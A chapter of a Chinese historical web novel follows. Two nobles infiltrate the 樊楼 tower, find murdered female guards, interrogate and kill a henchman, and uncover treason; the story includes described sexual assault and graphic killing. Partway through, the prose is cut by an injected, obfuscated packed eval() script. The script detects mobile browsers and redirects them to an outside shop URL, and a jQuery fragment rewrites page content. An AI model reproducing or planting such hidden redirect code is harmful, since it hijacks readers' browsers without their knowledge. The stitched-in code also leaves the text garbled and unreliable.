老金嘿嘿笑着,眯起眼转头看向明枝溪,大拇指与食指相互摩挲着:“缺了点这个。”
“银子?”明枝溪蹙着眉问。
“对喽,人情是有点儿,但是不够啊。”老金意味深长的转过身,抽了一口焊烟。
“需要多少?”明枝溪手不自觉摸了摸腰间的荷包,里面的银子已经所剩无几了。
她懊恼的想着:早知道当时在赌坊就不装老大了。
“不多,只需要一百两。”老金头伸出手掌在空中比划着。
明枝溪额角渗出汗水,表情平静却无奈,手在荷包中摸索着,最终摸出了一张皱皱巴巴的百两银票。
她交给老金头,老今天结果后猛地站起身问:“你到底是什么身份,家里人不宠爱你还能给你一百两?”
明枝溪支支吾吾不知如何开口,在老金头的对视下败下阵来:“好吧好吧,我之前是骗你的,对不起。”
老金头摸了把白花花的胡须,点点头:“我知道你是骗我的,我只想知道你究竟是什么身份,这样我才好办事儿,你说是不是。”
明枝溪想起樊楼那奇怪的破规矩,无奈道:“我是丞相府嫡女。”
“啊?”老金头不可置信的大喊一声,周围的群众纷纷侧过头望来,老金头急忙捂住自己的嘴小声开口,“你莫要拿老夫开玩笑了,明姑娘端庄谦和,岂是你这种人能比的。”
明枝溪觉着右眼睑疯狂的跳动着,耐心的解释道:“我真是...”
“你可有什么能证明的?”老金头神秘兮兮的开口。
明枝溪思索一番,身上还真没有什么东西能证实自己的身份,无奈的摇摇头叹气。
正想再解释一番时,谢槐池匆匆赶到,不知两人在聊什么开口问:“你们干嘛呢?”
明枝溪双眼一亮,拉过谢槐池对着老金问:“人证行不行?”
“呃..你们都是朋友说话不作数的,别又你一言我一语的哄骗我。”老金头撇过头去,撅起嘴,有些恼火。
明枝溪踮起脚尖对着谢槐池耳语:“哥哥,你有没有什么能证明自己身份的东西。”
谢槐池见她踮脚费力,索性弯下腰:“有是有,但是要这个做什么。”
明枝溪顿时觉着信心大涨,双手叉着腰说道:“老金!这位是开国侯府谢世子,你信也不信?”
老金头默不作声,双手摊开放在两人面前,甩了甩手:“证据呢。”
谢槐池从怀中拿出一个腰牌,放在老金头的手掌中,上面赫然写着‘开国侯’三个大字,谢槐池一脸蒙圈问:“怎么了?这东西有用吗?”
老金头本是闭着眼,接过腰牌睁开眼一看,手中的腰牌顿时变成一块烫手山芋,老金头双手颤颤悠悠的交还给谢槐池:“我信了。”
明枝溪骄傲的抬着头问老金头:“那你相信我是丞相府嫡女了吗?”
老金头点点头,又摇摇头:“真没想到传闻是假的,你怎么这么凶悍,想之前教训我那不孝顺的儿子时,就一副打打杀杀的模样。”
明枝溪顿时萎下来,窘迫的挠了挠头开口道:“人都是双面的,在你们眼里的贤良可不是真正的我,做戏罢了,做戏罢了。”
谢槐池忍不住笑出声,眼神耐人寻味看着向明枝溪。
明枝溪瞥眼看向谢槐池,正巧看见他正在笑自己,像是一只炸毛的猫上去又抓又咬。
老金头沉默一瞬,紧接着摇摇头走向街道前方,摆了摆手示意他们跟来。
明枝溪立马拉着谢槐池跟上,两人在后方小声的聊着。
“这就是你说的去樊楼搜查的门道?”谢槐池凑近明枝溪道。
“不然呢,我都不认识几个樊楼里的人。”明枝溪也凑近些。
“老金头能行吗?”谢槐池更加小声的问。
“不知道,我交了一百两的银票呢,应该能行吧。”明枝溪回复。
老金忽的停下身转头看向两人,语气里有些不耐烦:“你们叽叽喳喳要聊到什么时候?我既然收了你们的钱肯定能办到。”
说罢,他又转头继续走起来,明枝溪窘迫的低垂着头默默跟着,谢槐池努力的憋着笑,腮帮子鼓鼓的,两人就这样默默跟在老金头屁股后面,一声不发。
不出一会儿便走到了樊楼门外,明枝溪正看这遥远的路途眼冒金星,老金头却还是自顾自向前方走去。
明枝溪虽是不解,但还是疑惑的跟上老金开口问:“樊楼入口不就是这儿吗?怎么还要往前走。”
老金默不作声,将烟杆背在身后,沉默的向前走去,明枝溪见他没有回答还是选择相信。
三人走着走着,老金忽的停住,明枝溪险些撞上,被谢槐池一把拉住。
老金双脚在地上摸索着,忽然面前的地上出现一个密道,老金缓缓向里走去,这是一个只能容纳一人身通行的密道。
明枝溪一脸震惊的走进去,手抚摸着冰凉的墙面,谢槐池一脸无所谓,只是默默跟在明枝溪身后,看着她的一举一动冷不丁的笑笑。
“你笑什么?”明枝溪边走边问。
“没有啊。”谢槐池双手盘放在腹前。
“你方才分明就是笑我了。”明枝溪停下脚步挡住路。
“我觉着你可爱,所以笑了笑,小观音不要生气了,快些走吧。”谢槐池嘴中含着笑道。
明枝溪觉着他说的有道理,一转身面前的老金头消失在原地,瞬间慌了神:“老金不见了。”
“什么?怎么可能?”谢槐池转过头看向身后的入口,不知何时已经关闭了,“入口关闭了,只能向前走了。”
明枝溪点点头,继续向前方走去,不知走了多久,终于是看见了点点亮光。
一道石门出现在明枝溪眼前,明枝溪思考一番后,学着老金头的样子,双脚在地上摩擦着,忽然听见了一道细微的声响。
门缓缓打开,冷气顺着通道涌出,拍打在因为燥热而满脸通红的明枝溪身上,她缓缓探出头左右看了看,确认没事后才走进这个地窖。
地窖中摆放着许多冰块与酒水,气温低到在里面哈气都能吐出白雾。
谢槐池紧随而出,两人站在地窖中相互沉默了一会儿,明枝溪打破平静说:“老金不知去哪了,这处应当只是个地窖。”
明枝溪浑身不受控制颤抖着,今日觉着外头热,她便只穿了薄薄一层,这时在地窖中变真是如坠冰窟。
谢槐池蹙着眉,神情有些凝重,看向出口处道:“我们先上去吧。”
明枝溪点点头,往上走去,气温缓缓回正,明枝溪松了口气道:“差点冷死在夏季。”
出了地窖,上方是一处由木头搭建而成,及其简陋的小房子,明枝溪将地窖木板打开一条缝,眯着眼向外看了看。
一名小厮正在搬着酒水,明枝溪放下木板对着谢槐池摇摇头,低声说道:“现在还不能出去,外面有人。”
谢槐池听后点着头,忽然打岔道:“我们这样偷鸡摸狗真的好吗?你不是交了银票吗?”
“没办法,跟丢了。”明枝溪耸耸肩尴尬的挠挠头,对着谢槐池笑笑。
空气中有些闷热,明枝溪再次打开木板向外看了看,那小厮早已经走了。
明枝溪猛地打开地窖门,走了出去,呼吸着新鲜空气,四周都是一些酒坛,没有什么特别的,谢槐池将大门打开一条缝,向外看去。
只见外边空无一人,谢槐池这才将大门打开,两人走出门,不知身处何方,面前是樊楼的另一侧。
明枝溪一时间不知往何处走,对着谢槐池说道:“我们分头行动。”
谢槐池点了点头,正要行动,脚步却顿了顿,从腰间掏出一柄小刀递给明枝溪,语气满是担忧:“这个给你,凡是先保护好自己,不要莽撞。”
明枝溪有些疑惑,结果短刀问道:“你为何总是在身上带些防身利器?”
“你都说防身利器了,自然是防身喽。”谢槐池眉眼弥漫着笑意,十分魅惑。
明枝溪点点头说道:“那你也小心些。”
谢槐池歪着头:“好,我想你也会保佑我的,小观音。”
他说罢便转身挥手走去,挺直的背影渐渐缩小,明枝溪经谢槐池这一逗,面上没了凝重,满身轻松的朝着樊楼走进。
明枝溪挑了个窗户翻进去,是一间无人的雅座,门外自然也无看守,她装作常来的熟客向着楼上走去。
樊楼共十八层,之前两人是在三楼吃的饭,这次明枝溪把目光放在十层往上,她一口气爬了十楼,站在楼梯上扶着围栏气喘吁吁。
一名穿着妖艳的婢女缓缓走来,瞥了一眼明枝溪后狠狠的翻了个白眼,向着楼下走去。
明枝溪疑惑不已,但还是镇定自若的走出,探索着,犹如无头苍蝇一般的乱窜。
在下方并无发现,明枝溪想着:线索都在楼上?到底是几楼?
她想着往楼上走去,每层都并无不同,直到十六楼出现了些许不同,既然有人在来回看守巡楼。
明枝溪不动声色贴着墙站着,见巡逻队要往这边走有些慌乱,一时间不知如何是好。
“谁在那?”一声怒吼传来,一名魁梧男子慢慢朝着楼梯口靠近,他猛地探出身,尖锐的剑指向半空。
“有人吗?”另一名男子缓缓走来,看着面前打开的窗户,他走上前探出头左右张望,随后缩回脑袋,将窗户关上。
他对着屋内的众人说道:“都别看了,风大把窗子吹开了而已!都给我用点心巡逻!”
众人大喊道:“是!”随后便又开始到处巡视。
明枝溪由窗框上一跃而下,稳稳站在屋檐上拍了拍手,随后沿着墙壁走着,身后便是空无一物的天空,若是脚下一滑摔了下去,变是万劫不复。
她眉心紧皱,缓缓走着,时不时停下,打开包房的窗户,看看有无线索,最终在一间不起眼的房间,明枝溪闻到了一股令人作呕的气味。
她缓缓蹲下身,手止不住的颤抖,一时间没有打开窗户的勇气,她半跪在那儿,不知在思考什么。
忽然有人拍了拍她的肩膀,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567719|204825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明枝溪瞬息之间便抽出短刀向后刺去,直到谢槐池的那张精致的脸出现在她的眼中。
明枝溪猛地停住收回短刀:“哥哥!你吓死我了!”
谢槐池擦着额头的汗珠道:“你也是,吓死我了,你有什么发现吗?”
“有,在这里面,但你为什么来这儿了。”明枝溪问。
“我被发现了,有人在追我。”谢槐池推开窗户,一股腐臭味扑面而来,熏得人真不开眼。
明枝溪眯着眼向里看去,随后猛地睁开双眼,脚下一滑滚了进去。
她紧紧咬住牙,泪水不自觉的由眼中滑下,再由下巴上滴落在地,面前的尸首便是从前与她朝夕相伴的暗卫。
她们衣衫不整的躺在那儿,口鼻耳眼流出黑色的血迹,她们手中紧紧握住一瓶黑色的葫芦药瓶。
明枝溪双手颤抖的更加严重了,谢槐池走进来紧紧握住她的手,将她的手贴在自己胸前:“枝溪!不要去想这些了,冷静些。”
明枝溪感受到谢槐池体温,沉重的闭上了眼,深呼一口气,再次睁开眼她的眼中没了惋惜,转而化为怒火。
两人对视点点头,向前走去,打开房门,屋外空无一人,明枝溪走出门打量着周围的环境:“这儿是那群巡逻队的休息处?”
谢槐池点点头,蹙着眉道:“看起来是的,接下来怎么办?”
“搜一搜看看有没有线索。”明枝溪话音未落,便早已在屋内四处搜寻着。
谢槐池沿着墙壁探索着,忽然摸到了一个可以摁下去的暗格,他看向明枝溪喊道:“快来,这里有东西。”
明枝溪转头看向谢槐池,谢槐池用力摁下后,一间房门缓缓的挪动打开。
明枝溪走了进去,里面就放着一张书桌与一把椅子,书桌上放着一排排信纸,明枝溪随手拿起,沉默片刻后道:“这是王德才的据点。”
“王德才?”谢槐池手中也拿着信。
看了一阵后两人一同沉默了,不久后明枝溪严肃开口道:“王德才与契丹勾结,通敌叛国!”
门外传来一阵声响,两人敏锐的察觉到,紧紧贴在墙边看向屋外,一名身材在那一群人当众略显矮小的男子走了进来,解着裤腰带朝着茅房走去。
忽然他察觉到这间多出来的房间,疑惑走来,口中嘀咕着:“嘿?这什么时候多了间屋子?”
当他走进屋内时,明枝溪不知碰到了什么机关,门关上了,那名男子转过身便看见了两人正虎视眈眈盯着自己,急忙喊道:“你们是谁?来这里做什么。”
明枝溪紧握短刀,声音低哑,仿佛一头猛兽:“关得正好,我有事情要问你,回答我你活,不回答你死。”
那名男子猛地跪下,□□流下不明液体,他哭着磕头道:“姑奶奶饶了我吧,我就是一个帮工,不关我的事啊。”
谢槐池蹙着眉间,不耐烦的再叙述一遍:“说即活,不说即死,听清楚了?”
“听清楚了,听清楚了,你们问吧,我招,我全招。”那男子一把鼻涕一把泪的边磕头边喊道。
“隔壁屋子的姑娘们是怎么回事。”明枝溪语气平静,却仿若冰锥。
“是自杀的,她们是自尽的!”
明枝溪一巴掌扇上去,那名男子的一颗牙瞬间崩落在地,他捂住嘴,含糊不清的说:“是,是老大,她们跟踪老大,老大便抓了她们关在这。”
“可那些女子烈的很,怎么都不肯招供,所以让我们..让我们糟蹋她们...可她们本就性子烈,这样一来更疯了,不知她们从哪拿出的鹤顶红,便都服毒自尽了。”
明枝溪握着短刀,怒目圆瞪,额角上青筋暴起,步伐沉重,每踏一步便发出闷沉的声响,谢槐池急忙拦住她,紧紧握着明枝溪手,对她摇摇头。
谢槐池目光凌厉的瞥向那男子,问道:“你老大可是王德才?”
“是是,有事情你们找他,可别来找我啊。”那名男子汗毛直立,原始恐惧使他默默向后退去。
“王德才住哪儿你可知道?”谢槐池尽量使自己的声音冷静些。
“就住在郊外的一处宅子,那地方没什么人去,周围也就那一处宅子,很好找的!大侠,爷爷,你放过我,求求你放过我!”那男子说着说着便又开始掩面哭泣。
“她们是自尽的啊,跟我没关系!都是王德才的错,跟我没有关系,跟我没有关系!”
“疯了?”谢槐池蹙着眉看着那名男子。
只见他时不时躺在地上,时不时又站起看天,是不是有跪地乞讨。
明枝溪不多废话,见他没了利用价值后,沉默的走向前,干净利落的将短刀扎进他的喉管处。
短刀拔出,鲜血飞溅在明枝溪衣衫上,看上去尤为刺眼。
门外再次传来脚步声,尤其的多,来不及多想,谢槐池喊道:“快走,来不及了。”
明枝溪看向窗户一跃而出,伸出手抓住谢槐池的手,窗口有些小,迟迟拉不出谢槐池,脚步声缓缓靠近,愈发响亮起来。
“你走啊!”